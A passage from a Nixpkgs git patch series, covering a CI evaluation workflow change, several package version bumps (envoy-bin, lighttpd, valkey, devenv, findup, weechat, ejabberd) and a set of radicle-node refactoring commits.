+          nix-build nixpkgs/trusted/ci --arg nixpkgs ./nixpkgs/trusted-pinned -A eval.attrpathsSuperset \
+            --argstr evalSystem "$MATRIX_SYSTEM" \
+            --argstr nixPath "nixVersions.latest"
 
-            let run_id
-            try {
-              run_id = (await github.rest.actions.listWorkflowRuns({
-                ...context.repo,
-                workflow_id: 'push.yml',
-                event: 'push',
-                head_sha: targetSha
-              })).data.workflow_runs[0].id
-            } catch {
-              throw new Error(`Could not find a push.yml workflow run for ${targetSha}.`)
-            }
-
-            // Waiting 120 * 5 sec = 10 min. max.
-            // Eval takes max 5-6 minutes, normally.
-            for (let i = 0; i < 120; i++) {
-              const result = await github.rest.actions.listWorkflowRunArtifacts({
-                ...context.repo,
-                run_id,
-                name: `merged-${system}`
-              })
-              if (result.data.total_count > 0) {
-                core.setOutput('targetRunId', run_id)
-                return
-              }
-              await new Promise(resolve => setTimeout(resolve, 5000))
-            }
-            // No artifact found at this stage. This usually means that Eval failed on the target branch.
-            // This should only happen when Eval is broken on the target branch and this PR fixes it.
-            // Continue without targetRunId to skip the remaining steps, but pass the job.
-
-      - name: Log current API rate limits
+      - name: Evaluate the ${{ matrix.system }} output paths at the target commit
+        if: inputs.targetSha
         env:
-          GH_TOKEN: ${{ github.token }}
-        run: gh api /rate_limit | jq
-
-      - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5.0.0
-        if: steps.targetRunId.outputs.targetRunId
-        with:
-          run-id: ${{ steps.targetRunId.outputs.targetRunId }}
-          name: merged-${{ matrix.system }}
-          path: target
-          github-token: ${{ github.token }}
-          merge-multiple: true
+          MATRIX_SYSTEM: ${{ matrix.system }}
+        # This should be very quick, because it pulls the eval results from Cachix.
+        run: |
+          nix-build nixpkgs/trusted/ci --arg nixpkgs ./nixpkgs/trusted-pinned -A eval.singleSystem \
+            --argstr evalSystem "$MATRIX_SYSTEM" \
+            --arg chunkSize 8000 \
+            --argstr nixPath "nixVersions.latest" \
+            --out-link target
 
       - name: Compare outpaths against the target branch
-        if: steps.targetRunId.outputs.targetRunId
+        if: inputs.targetSha
         env:
           MATRIX_SYSTEM: ${{ matrix.system }}
         run: |
           nix-build nixpkgs/untrusted/ci --arg nixpkgs ./nixpkgs/untrusted-pinned -A eval.diff \
-            --arg beforeDir ./target \
+            --arg beforeDir "$(readlink ./target)" \
             --arg afterDir "$(readlink ./merged)" \
             --argstr evalSystem "$MATRIX_SYSTEM" \
             --out-link diff
 
       - name: Upload outpaths diff and stats
-        if: steps.targetRunId.outputs.targetRunId
+        if: inputs.targetSha
         uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
         with:
           name: ${{ matrix.version && format('{0}-', matrix.version) || '' }}diff-${{ matrix.system }}
@@ -205,7 +170,7 @@ jobs:
   compare:
     runs-on: ubuntu-24.04-arm
     needs: [eval]
-    if: needs.eval.outputs.targetRunId && !cancelled() && !failure()
+    if: inputs.targetSha && !cancelled() && !failure()
     permissions:
       statuses: write
     timeout-minutes: 5
diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index 363804cce716..8d79034db59e 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -141,6 +141,8 @@ let
         env = {
           inherit evalSystem chunkSize;
         };
+        __structuredAttrs = true;
+        unsafeDiscardReferences.out = true;
       }
       ''
         export NIX_STATE_DIR=$(mktemp -d)

From 828a1b9ce46ad450b884ab9a05ecfbf5025a2f82 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Fri, 22 Aug 2025 08:58:19 -0400
Subject: [PATCH 3835/4511] envoy-bin: 1.34.4 -> 1.34.5

Changelog: https://github.com/envoyproxy/envoy/releases/tag/v1.34.5
---
 pkgs/by-name/en/envoy-bin/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/en/envoy-bin/package.nix b/pkgs/by-name/en/envoy-bin/package.nix
index 9f0a3d09a116..025f6acc8d6e 100644
--- a/pkgs/by-name/en/envoy-bin/package.nix
+++ b/pkgs/by-name/en/envoy-bin/package.nix
@@ -8,7 +8,7 @@
   versionCheckHook,
 }:
 let
-  version = "1.34.4";
+  version = "1.34.5";
   inherit (stdenv.hostPlatform) system;
   throwSystem = throw "envoy-bin is not available for ${system}.";
 
@@ -21,8 +21,8 @@ let
 
   hash =
     {
-      aarch64-linux = "sha256-Bh/y/4c+5WspnAb0hwT/4Pe+gU8pdtRmoMuHlg62Z4w=";
-      x86_64-linux = "sha256-QnSF9F7Wh27ELJehlikYc5v1lG/hWdiwsn8ZhAbaXg4=";
+      aarch64-linux = "sha256-Hnj6f2HWedLnUEUeg8aM+csUkiLag1rXDI7FXZ8WODc=";
+      x86_64-linux = "sha256-g65xuzcZWlcajrdlbFDD0EpjEi0I/JLunI4XQ8QcSO8=";
     }
     .${system} or throwSystem;
 in

From 413daa84dd16bb6ee08fc59c052a2376ef780ebe Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 22 Aug 2025 04:14:59 +0000
Subject: [PATCH 3836/4511] lighttpd: 1.4.80 -> 1.4.81

(cherry picked from commit 375ff088807faae30f643d4dc9228abb92621b00)
---
 pkgs/by-name/li/lighttpd/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/lighttpd/package.nix b/pkgs/by-name/li/lighttpd/package.nix
index 3a8a56f73c0b..51ecd3f05174 100644
--- a/pkgs/by-name/li/lighttpd/package.nix
+++ b/pkgs/by-name/li/lighttpd/package.nix
@@ -34,11 +34,11 @@
 
 stdenv.mkDerivation rec {
   pname = "lighttpd";
-  version = "1.4.80";
+  version = "1.4.81";
 
   src = fetchurl {
     url = "https://download.lighttpd.net/lighttpd/releases-${lib.versions.majorMinor version}.x/${pname}-${version}.tar.xz";
-    sha256 = "sha256-zF8Pceiy7mutVF0ekd/D+VRxbJF057NSwhR63UTyW/M=";
+    sha256 = "sha256-19QsP9L9lLY8kVqn0Y9No8rFk33boz6Qn4HPUIQqWEA=";
   };
 
   separateDebugInfo = true;

From db78acabb3b3d110fde4a1f8fde752baf77d999a Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Fri, 22 Aug 2025 17:03:03 +0200
Subject: [PATCH 3837/4511] valkey: 8.0.4 -> 8.0.5

https://github.com/valkey-io/valkey/releases/tag/8.0.5
---
 pkgs/by-name/va/valkey/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/va/valkey/package.nix b/pkgs/by-name/va/valkey/package.nix
index b4256ce3fedb..93d467eb182e 100644
--- a/pkgs/by-name/va/valkey/package.nix
+++ b/pkgs/by-name/va/valkey/package.nix
@@ -24,13 +24,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "valkey";
-  version = "8.0.4";
+  version = "8.0.5";
 
   src = fetchFromGitHub {
     owner = "valkey-io";
     repo = "valkey";
     rev = finalAttrs.version;
-    hash = "sha256-oNAxRogG+FTkB6A5SEMUUXMnCcgMue602nQ+TQkjvmk=";
+    hash = "sha256-hI5DaKuePmfvWV3+Ol1JGlJrxeoRzbYLQw4QwtDX15o=";
   };
 
   patches = [

From a387b2ed61fc227d525aadfe658a21377cf2e2ce Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 22 Aug 2025 17:18:02 +0200
Subject: [PATCH 3838/4511] ci: remove python-updates from development branches

The python-updates branch is not a "development" branch in the sense of
ci/README.md's classification. That's because it allows force pushes.
When rewrites are possible, cherry-picking from this branch should not
be allowed, because the commit references will potentially end up out of
sync.

These kind of branches are now termed "Work-in-Progress" branches. Up
until recently these branches didn't work well for Pull Requests
targeting them, because Eval wouldn't run on them with a push event and
thus, Eval in the PR couldn't succeed either. That's now fixed, PRs
towards *any* WIP branch should work correctly.

(cherry picked from commit 55b046451c118c858e8ae3aa6dd9b198bf0f6704)
---
 .github/workflows/push.yml          | 1 -
 ci/README.md                        | 2 +-
 ci/request-reviews/dev-branches.txt | 1 -
 ci/supportedBranches.js             | 1 -
 4 files changed, 1 insertion(+), 4 deletions(-)

diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml
index 265f0fba8927..4031c3a9cc6f 100644
--- a/.github/workflows/push.yml
+++ b/.github/workflows/push.yml
@@ -13,7 +13,6 @@ on:
       - release-*
       - staging-*
       - haskell-updates
-      - python-updates
 
 permissions: {}
 
diff --git a/ci/README.md b/ci/README.md
index c55d0ca62d07..797f231aea62 100644
--- a/ci/README.md
+++ b/ci/README.md
@@ -36,7 +36,7 @@ For the purposes of CI, branches in the NixOS/nixpkgs repository are classified
   - Pull Requests required.
   - Long-lived, no deletion, no force push.
 - **Secondary development** branches
-  - `staging-` prefix, `haskell-updates` and `python-updates`
+  - `staging-` prefix and `haskell-updates`
   - Pull Requests normally required, except when merging development branches into each other.
   - Long-lived, no deletion, no force push.
 - **Work-In-Progress** branches
diff --git a/ci/request-reviews/dev-branches.txt b/ci/request-reviews/dev-branches.txt
index 9e0609e325ec..b34092546f18 100644
--- a/ci/request-reviews/dev-branches.txt
+++ b/ci/request-reviews/dev-branches.txt
@@ -6,4 +6,3 @@ staging
 release-*
 staging-*
 haskell-updates
-python-updates
diff --git a/ci/supportedBranches.js b/ci/supportedBranches.js
index d1a826e89147..fd7dcc9144f3 100755
--- a/ci/supportedBranches.js
+++ b/ci/supportedBranches.js
@@ -9,7 +9,6 @@ const typeConfig = {
   staging: ['development', 'secondary'],
   'staging-next': ['development', 'secondary'],
   'haskell-updates': ['development', 'secondary'],
-  'python-updates': ['development', 'secondary'],
   nixos: ['channel'],
   nixpkgs: ['channel'],
 }

From 8fe975d50f4c91ac0e476f1dbc9dcb4d96c247c3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 21 Aug 2025 23:28:57 +0000
Subject: [PATCH 3839/4511] devenv: 1.8.1 -> 1.8.2

(cherry picked from commit 0167f996fd9a87a82e3fcf0ae732889e3676fee5)
---
 pkgs/by-name/de/devenv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/de/devenv/package.nix b/pkgs/by-name/de/devenv/package.nix
index 03b67dee3e2b..b50a71452fe2 100644
--- a/pkgs/by-name/de/devenv/package.nix
+++ b/pkgs/by-name/de/devenv/package.nix
@@ -30,7 +30,7 @@ let
         __intentionallyOverridingVersion = true;
       });
 
-  version = "1.8.1";
+  version = "1.8.2";
 in
 rustPlatform.buildRustPackage {
   pname = "devenv";
@@ -40,10 +40,10 @@ rustPlatform.buildRustPackage {
     owner = "cachix";
     repo = "devenv";
     tag = "v${version}";
-    hash = "sha256-YsSFlVWUu4RSYnObqcBJ4Mr3bJVVhuFhaQAktHytBAI=";
+    hash = "sha256-j1IujIUZFdKKv33ldsptrcbe0avAX725SYhGtNrGJcI=";
   };
 
-  cargoHash = "sha256-zJorGAsp5k5oBuXogYqEPVexcNsYCeiTmrQqySd1AGs=";
+  cargoHash = "sha256-NNfqmdnDIKmp1upkBwJMp+VirSYsUXJNgGbAzcHs8LY=";
 
   buildAndTestSubdir = "devenv";
 

From 135ab63e1422fba4af1d33d227af1f216aaba9e0 Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Fri, 22 Aug 2025 17:30:44 +0100
Subject: [PATCH 3840/4511] actions/checkout: update input descriptions

In fb32eb0f296812da443357eafaa350031de431d7 we moved the checked-out
worktrees into a `nixpkgs` directory. Update the input descriptions to
reflect this.

(cherry picked from commit c25dd6c655c0ce5d605ba255c9dde53fd1c9ec59)
---
 .github/actions/checkout/action.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/actions/checkout/action.yml b/.github/actions/checkout/action.yml
index 868d832bf8f3..6009cd121c1e 100644
--- a/.github/actions/checkout/action.yml
+++ b/.github/actions/checkout/action.yml
@@ -4,9 +4,9 @@ description: 'Checkout into trusted / untrusted / pinned folders consistently.'
 
 inputs:
   merged-as-untrusted-at:
-    description: "Whether and which SHA to checkout for the merge commit in the ./untrusted folder."
+    description: "Whether and which SHA to checkout for the merge commit in the ./nixpkgs/untrusted folder."
   target-as-trusted-at:
-    description: "Whether and which SHA to checkout for the target commit in the ./trusted folder."
+    description: "Whether and which SHA to checkout for the target commit in the ./nixpkgs/trusted folder."
 
 runs:
   using: composite

From 336086ca1b1b33dbee6a0d17bb7627504c0615c3 Mon Sep 17 00:00:00 2001
From: Justin Hill <justin@so.dang.cool>
Date: Fri, 22 Aug 2025 13:13:00 -0700
Subject: [PATCH 3841/4511] findup: 1.1.2 -> 1.1.3

(cherry picked from commit 081c0f35c213ad443c8b7ae7fdfc1e9656cf7f79)
---
 pkgs/by-name/fi/findup/package.nix | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/fi/findup/package.nix b/pkgs/by-name/fi/findup/package.nix
index 1be7ec2b1a05..41e60f6df5ad 100644
--- a/pkgs/by-name/fi/findup/package.nix
+++ b/pkgs/by-name/fi/findup/package.nix
@@ -3,26 +3,24 @@
   stdenv,
   fetchFromGitHub,
   testers,
-  zig,
+  zig_0_14,
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "findup";
-  version = "1.1.2";
+  version = "1.1.3";
 
   src = fetchFromGitHub {
     owner = "booniepepper";
     repo = "findup";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-EjfKNIYJBXjlKFNV4dJpOaXCfB5PUdeMjl4k1jFRfG0=";
+    hash = "sha256-ZrwEOWoXo1RnujroQDGAv4vqRD0ZSyzo8MEnIbHFrY4=";
   };
 
-  nativeBuildInputs = [ zig.hook ];
+  nativeBuildInputs = [ zig_0_14.hook ];
 
   passthru.tests.version = testers.testVersion { package = finalAttrs.finalPackage; };
 
   meta = {
-    # Doesn't support zig 0.12 or newer, last commit was 2 years ago.
-    broken = lib.versionAtLeast zig.version "0.12";
     homepage = "https://github.com/booniepepper/findup";
     description = "Search parent directories for sentinel files";
     license = lib.licenses.mit;

From da07132794142d3b5fdd299d681a5ab661dc69b7 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 19 Aug 2025 16:41:55 +0200
Subject: [PATCH 3842/4511] radicle-node: use finalAttrs pattern

(cherry picked from commit 26c854ff8e4cf8d000ce4791603df21c532e7929)
---
 pkgs/by-name/ra/radicle-node/package.nix | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index 347044035a06..5d8100c6c41c 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -17,16 +17,16 @@
   testers,
   xdg-utils,
 }:
-rustPlatform.buildRustPackage rec {
+
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "radicle-node";
   version = "1.3.0";
-  env.RADICLE_VERSION = version;
 
   src = fetchFromRadicle {
     seed = "seed.radicle.xyz";
     repo = "z3gqcJUoA1n9HaHKufZs5FCSGazv5";
     node = "z6MkireRatUThvd3qzfKht1S44wpm4FEWSSa4PRMTSQZ3voM";
-    tag = "v${version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-0gK+fM/YGGpxlcR1HQixbLK0/sv+HH29h6ajEP2w2pI=";
     leaveDotGit = true;
     postFetch = ''
@@ -38,6 +38,8 @@ rustPlatform.buildRustPackage rec {
 
   cargoHash = "sha256-qLRFZXbVbsgMyXiljsb8lOBCDZKa17LcxWuPaUYSG70=";
 
+  env.RADICLE_VERSION = finalAttrs.version;
+
   nativeBuildInputs = [
     asciidoctor
     installShellFiles
@@ -56,7 +58,7 @@ rustPlatform.buildRustPackage rec {
     "--package=radicle-remote-helper"
   ];
 
-  cargoTestFlags = cargoBuildFlags;
+  cargoTestFlags = finalAttrs.cargoBuildFlags;
 
   # tests regularly time out on aarch64
   doCheck = stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isx86;
@@ -166,4 +168,4 @@ rustPlatform.buildRustPackage rec {
     ];
     mainProgram = "rad";
   };
-}
+})

From ace0e80fbbde4d1849dbd3c9f8ce8a5c202d5759 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 19 Aug 2025 16:43:10 +0200
Subject: [PATCH 3843/4511] radicle-node: use canonical release reference

(cherry picked from commit cda70f9efa652d2d9d10e95909e660b0139b3e6a)
---
 pkgs/by-name/ra/radicle-node/package.nix | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index 5d8100c6c41c..575be9bdd70c 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -25,8 +25,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   src = fetchFromRadicle {
     seed = "seed.radicle.xyz";
     repo = "z3gqcJUoA1n9HaHKufZs5FCSGazv5";
-    node = "z6MkireRatUThvd3qzfKht1S44wpm4FEWSSa4PRMTSQZ3voM";
-    tag = "v${finalAttrs.version}";
+    tag = "releases/${finalAttrs.version}";
     hash = "sha256-0gK+fM/YGGpxlcR1HQixbLK0/sv+HH29h6ajEP2w2pI=";
     leaveDotGit = true;
     postFetch = ''

From 1693dcc050f55c2f8964181e975da36649935681 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 19 Aug 2025 17:04:16 +0200
Subject: [PATCH 3844/4511] radicle-node: depend on gitMinimal instead of git

(cherry picked from commit d6b07e06cc2ebe5698c2672ac02d644a9b54e0b3)
---
 pkgs/by-name/ra/radicle-node/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index 575be9bdd70c..8f9f339fbea4 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -1,7 +1,7 @@
 {
   asciidoctor,
   fetchFromRadicle,
-  git,
+  gitMinimal,
   installShellFiles,
   jq,
   lib,
@@ -44,7 +44,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     installShellFiles
     makeWrapper
   ];
-  nativeCheckInputs = [ git ];
+  nativeCheckInputs = [ gitMinimal ];
 
   preBuild = ''
     export GIT_HEAD=$(<$src/.git_head)
@@ -90,7 +90,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       wrapProgram "$program" \
         --prefix PATH : "${
           lib.makeBinPath [
-            git
+            gitMinimal
             man-db
             openssh
             xdg-utils
@@ -125,7 +125,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
             rad debug | jq -e '
                 (.sshVersion | contains("${openssh.version}"))
               and
-                (.gitVersion | contains("${git.version}"))
+                (.gitVersion | contains("${gitMinimal.version}"))
             '
 
             touch $out

From 2abe555029a97fef9100eaab9b39ce314e268100 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 19 Aug 2025 17:06:05 +0200
Subject: [PATCH 3845/4511] radicle-node: use makeBinaryWrapper

(cherry picked from commit 4f2c8f74eb89c6e616a9a2b573c305eb52650e28)
---
 pkgs/by-name/ra/radicle-node/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index 8f9f339fbea4..618a2a26b3d4 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -5,7 +5,7 @@
   installShellFiles,
   jq,
   lib,
-  makeWrapper,
+  makeBinaryWrapper,
   man-db,
   nixos,
   nixosTests,
@@ -42,7 +42,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   nativeBuildInputs = [
     asciidoctor
     installShellFiles
-    makeWrapper
+    makeBinaryWrapper
   ];
   nativeCheckInputs = [ gitMinimal ];
 

From 9824e0313144715874dc433e8f7f349ac105ac78 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 19 Aug 2025 17:09:11 +0200
Subject: [PATCH 3846/4511] radicle-node: use versionCheckHook

(cherry picked from commit 65c6af38ef2520b476759e5e74c3d926fdd7d3c0)
---
 pkgs/by-name/ra/radicle-node/package.nix | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index 618a2a26b3d4..d0ceb0c3f885 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -16,6 +16,7 @@
   stdenv,
   testers,
   xdg-utils,
+  versionCheckHook,
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
@@ -84,6 +85,11 @@ rustPlatform.buildRustPackage (finalAttrs: {
     done
   '';
 
+  nativeInstallCheckInputs = [ versionCheckHook ];
+  versionCheckProgram = "${placeholder "out"}/bin/rad";
+  versionCheckProgramArg = "--version";
+  doInstallCheck = true;
+
   postFixup = ''
     for program in $out/bin/* ;
     do
@@ -104,7 +110,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
       package = radicle-node;
     in
     {
-      version = testers.testVersion { inherit package; };
       basic =
         runCommand "${package.name}-basic-test"
           {

From f745d6e1fd1369d5aaacea9c023b8132688b8b2e Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 19 Aug 2025 20:16:00 +0200
Subject: [PATCH 3847/4511] radicle-node: add updateScript

(cherry picked from commit 3f62d854f851f72be6f845d01544574cd48b589f)
---
 pkgs/by-name/ra/radicle-node/package.nix | 1 +
 pkgs/by-name/ra/radicle-node/update.sh   | 5 +++++
 2 files changed, 6 insertions(+)
 create mode 100755 pkgs/by-name/ra/radicle-node/update.sh

diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index d0ceb0c3f885..26ec78f79c5d 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -105,6 +105,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     done
   '';
 
+  passthru.updateScript = ./update.sh;
   passthru.tests =
     let
       package = radicle-node;
diff --git a/pkgs/by-name/ra/radicle-node/update.sh b/pkgs/by-name/ra/radicle-node/update.sh
new file mode 100755
index 000000000000..b1a79b18da55
--- /dev/null
+++ b/pkgs/by-name/ra/radicle-node/update.sh
@@ -0,0 +1,5 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p coreutils gnused common-updater-scripts nix-update
+
+version=$(list-git-tags | tail -1 | sed 's|^releases/||')
+nix-update --version="$version" radicle-node

From 8081987e90f57d3a0af55c44393842353f9b7115 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 19 Aug 2025 16:43:48 +0200
Subject: [PATCH 3848/4511] radicle-node: add defelo as maintainer

(cherry picked from commit 6203ba7f0b9addbfe687f241b0cae233a703298f)
---
 pkgs/by-name/ra/radicle-node/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index 26ec78f79c5d..526396400d2c 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -170,6 +170,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     maintainers = with lib.maintainers; [
       amesgen
       lorenzleutgeb
+      defelo
     ];
     mainProgram = "rad";
   };

From 005d02e8209b803612e624cbc1d845c95b9e5be8 Mon Sep 17 00:00:00 2001
From: Ashish SHUKLA <ashish.is@lostca.se>
Date: Sat, 16 Aug 2025 22:09:20 +0000
Subject: [PATCH 3849/4511] weechat-unwrapped: 4.7.0 -> 4.7.1

Changes: https://github.com/weechat/weechat/releases/tag/v4.7.1
(cherry picked from commit a9c27790539be4b1aff95b41c2036856c4d8cdff)
---
 pkgs/applications/networking/irc/weechat/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/irc/weechat/default.nix b/pkgs/applications/networking/irc/weechat/default.nix
index d87c8b6b7f4d..d4fb001d7887 100644
--- a/pkgs/applications/networking/irc/weechat/default.nix
+++ b/pkgs/applications/networking/irc/weechat/default.nix
@@ -104,11 +104,11 @@ assert lib.all (p: p.enabled -> !(builtins.elem null p.buildInputs)) plugins;
 
 stdenv.mkDerivation rec {
   pname = "weechat";
-  version = "4.7.0";
+  version = "4.7.1";
 
   src = fetchurl {
     url = "https://weechat.org/files/src/weechat-${version}.tar.xz";
-    hash = "sha256-RdwDlgYMhjFphoNJ7CgK8cb0rFJKpJJYDhoGXhQsLNg=";
+    hash = "sha256-6D+3HKJRxd10vZxaa9P4XcLrjs7AlV9DwH8+CRHtt9M=";
   };
 
   # Why is this needed? https://github.com/weechat/weechat/issues/2031

From 8389303cb6b2e8b3e51c9f1b1e6594d37bbc9dc2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C2=B7=F0=90=91=91=F0=90=91=B4=F0=90=91=95=F0=90=91=91?=
 =?UTF-8?q?=F0=90=91=A9=F0=90=91=A4?= <toastal@posteo.net>
Date: Sat, 12 Jul 2025 14:46:24 +0700
Subject: [PATCH 3850/4511] =?UTF-8?q?ejabberd:=2025.04=20=E2=86=92=2025.07?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit 77c7a5c2fa3fdcd2ea865cab94d5f643898cc1ec)
---
 pkgs/by-name/ej/ejabberd/package.nix    |  4 +-
 pkgs/by-name/ej/ejabberd/rebar-deps.nix | 96 ++++++++++++-------------
 2 files changed, 50 insertions(+), 50 deletions(-)

diff --git a/pkgs/by-name/ej/ejabberd/package.nix b/pkgs/by-name/ej/ejabberd/package.nix
index 433e2022d3a3..9615357e5e9f 100644
--- a/pkgs/by-name/ej/ejabberd/package.nix
+++ b/pkgs/by-name/ej/ejabberd/package.nix
@@ -141,7 +141,7 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "ejabberd";
-  version = "25.04";
+  version = "25.07";
 
   nativeBuildInputs = [
     makeWrapper
@@ -171,7 +171,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "processone";
     repo = "ejabberd";
     tag = finalAttrs.version;
-    hash = "sha256-BIt5kLEtvMUlyntQ98Mgidmo6lJHbt/LJYrbxPaJxPo=";
+    hash = "sha256-DDvxmRennd9tAC9LqV8eAAzcF+kZemvgsOviWD9CHlM=";
   };
 
   passthru.tests = {
diff --git a/pkgs/by-name/ej/ejabberd/rebar-deps.nix b/pkgs/by-name/ej/ejabberd/rebar-deps.nix
index bd5b79474028..0742da7d2665 100644
--- a/pkgs/by-name/ej/ejabberd/rebar-deps.nix
+++ b/pkgs/by-name/ej/ejabberd/rebar-deps.nix
@@ -14,11 +14,11 @@ let
   packages = with self; {
     unicode_util_compat = builder {
       name = "unicode_util_compat";
-      version = "0.7.0";
+      version = "0.7.1";
       src = fetchHex {
         pkg = "unicode_util_compat";
-        version = "0.7.0";
-        sha256 = "sha256-Je7m1n32GWDPanlCOVZlmbCeF+Zo03ACR7xJhjgVJSE=";
+        version = "0.7.1";
+        sha256 = "sha256-s6kXhUzjriM2GXRK0eAQLgVnMTZ3b7L6diNPPgOyNkI=";
       };
       beamDeps = [ ];
     };
@@ -44,21 +44,21 @@ let
     };
     yconf = builder {
       name = "yconf";
-      version = "1.0.18";
+      version = "1.0.20";
       src = fetchHex {
         pkg = "yconf";
-        version = "1.0.18";
-        sha256 = "sha256-+pUOxlA/ktZBf7jMHZgkA/BBaX6OG79NRYj7kZuVYuo=";
+        version = "1.0.20";
+        sha256 = "sha256-8rPXMHVvwuSv0cCwq277mfDkSJUtJdwV7XWsFjW/iII=";
       };
       beamDeps = [ fast_yaml ];
     };
     xmpp = builder {
       name = "xmpp";
-      version = "1.10.0";
+      version = "1.11.0";
       src = fetchHex {
         pkg = "xmpp";
-        version = "1.10.0";
-        sha256 = "sha256-zurkO4/pdknY+FRrP38rOOz8kxwM3Vx0Rf+z+A/LfYU=";
+        version = "1.11.0";
+        sha256 = "sha256-NKGR1qO3To8KQjRvhZ4sq1s6Kuflwo85Lly1ZhLnzoU=";
       };
       beamDeps = [
         ezlib
@@ -71,11 +71,11 @@ let
     };
     stun = builder {
       name = "stun";
-      version = "1.2.17";
+      version = "1.2.20";
       src = fetchHex {
         pkg = "stun";
-        version = "1.2.17";
-        sha256 = "sha256-azGCRMIehSSpquOsmgXNgjTumUwcLIFd5o0wYIatdo0=";
+        version = "1.2.20";
+        sha256 = "sha256-eeSfgmpPfVIsk5q2M9k1x519ayKeTLfgX2LzO1AXdBQ=";
       };
       beamDeps = [
         fast_tls
@@ -84,11 +84,11 @@ let
     };
     stringprep = builder {
       name = "stringprep";
-      version = "1.0.31";
+      version = "1.0.33";
       src = fetchHex {
         pkg = "stringprep";
-        version = "1.0.31";
-        sha256 = "sha256-6WmciOjbFrOkHw5FrGh0pNqBpuSFSnfXbt5tCbCONTA=";
+        version = "1.0.33";
+        sha256 = "sha256-lvizC8UIh/YFsztGvKHSSMGah5MZuMSCeQ47TaXamMA=";
       };
       beamDeps = [ p1_utils ];
     };
@@ -114,21 +114,21 @@ let
     };
     p1_utils = builder {
